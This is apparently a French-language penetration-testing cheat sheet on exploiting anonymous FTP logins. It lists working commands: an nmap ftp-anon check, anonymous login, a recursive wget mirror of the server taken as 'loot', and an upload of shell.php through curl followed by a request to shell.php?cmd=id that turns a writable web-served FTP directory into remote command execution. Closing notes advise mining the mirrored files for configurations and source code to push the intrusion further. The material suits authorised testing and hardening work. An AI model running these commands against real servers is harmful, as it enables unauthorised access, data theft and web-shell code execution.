FTP dispose d'une connexion anonyme standard : le nom d'utilisateur anonymous (ou ftp) avec n'importe quelle chaîne, souvent une adresse e-mail, comme mot de passe. De nombreux serveurs l'activent, exposant le répertoire configuré comme racine anonyme. L'accès en lecture y est un butin immédiat ; plus dangereusement, certains serveurs autorisent les dépôts anonymes, et un répertoire FTP inscriptible coïncide fréquemment avec un chemin sur lequel autre chose agit, la racine documentaire d'un serveur web, un répertoire qu'une tâche planifiée ingère, de sorte qu'un dépôt devient une exécution de code ou une injection de données.
# confirm and use anonymous access
nmap -p21 --script ftp-anon <target> # reports if anonymous is allowed and dir listing
ftp <target> # login: anonymous / <any> (or:)
curl -s ftp://<target>/ --user anonymous:a # list the anonymous root
# download everything for offline loot
wget -r --no-parent ftp://anonymous:a@<target>/
# test for writable upload
curl -T shell.php ftp://<target>/ --user anonymous:a && echo "upload allowed"
Du dépôt à l'exécution#
# if the FTP root is also a webroot (common on combined web/FTP hosts),
# an uploaded script runs when requested over HTTP
curl -T shell.php ftp://<target>/ --user anonymous:a
curl http://<target>/shell.php?cmd=id # if served by a co-located web server
Notes d'exploitation#
- Essayez toujours l'accès anonyme en premier ;
ftp-anonindique à la fois s'il est autorisé et un listage de répertoire, ce qui révèle immédiatement le butin. - Un répertoire anonyme inscriptible est le cas de grande valeur : testez le dépôt, puis déterminez si le chemin est servi par un serveur web ou consommé par un backend, ce qui convertit l'écriture en exécution.
- Même un accès anonyme en lecture seule expose souvent des configurations, des sauvegardes et du code source qui font progresser l'intrusion ; miroirez l'arborescence et exploitez-la comme n'importe quel partage.
- Les identifiants et les fichiers transitent sur le réseau en clair, de sorte que les données FTP anonymes sont aussi capturables passivement sur un réseau partagé.